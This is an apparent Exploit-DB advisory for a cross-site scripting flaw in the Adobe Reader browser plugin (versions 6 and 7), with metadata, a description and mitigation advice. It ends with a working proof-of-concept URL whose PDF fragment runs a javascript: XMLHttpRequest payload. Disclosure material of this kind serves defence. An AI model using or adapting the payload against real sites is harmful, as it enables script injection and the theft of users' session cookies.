Adobe Reader Plugin Cross-Site Scripting Vulnerability

vendor:

Adobe Reader Plugin

by:

Unknown

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Adobe Reader Plugin

Affected Version From: Adobe Reader versions 6 and 7 for Mozilla Firefox, Opera, and Microsoft Internet Explorer

Affected Version To: Unknown

Patch Exists: YES

Related CWE: Unknown

CPE: a:adobe:reader

Metasploit:

Other Scripts:

Platforms Tested: Windows, Linux, Mac

Unknown

Adobe Reader Plugin Cross-Site Scripting Vulnerability

The Adobe Reader Plugin is vulnerable to a cross-site scripting vulnerability. This vulnerability occurs because the application does not properly sanitize user-supplied input. An attacker can exploit this vulnerability to execute arbitrary script code in the browser of an unsuspecting user, within the context of the visited site. This can lead to the theft of cookie-based authentication credentials and enable the attacker to launch further attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to update Adobe Reader to the latest version. Additionally, users should exercise caution when visiting untrusted websites and avoid clicking on suspicious links.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/21858/info

Adobe Reader Plugin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the visited site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Adobe Reader versions 6 and 7 for Mozilla Firefox, Opera, and Microsoft Internet Explorer. Other versions for other browsers may also be affected.

http://www.example.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);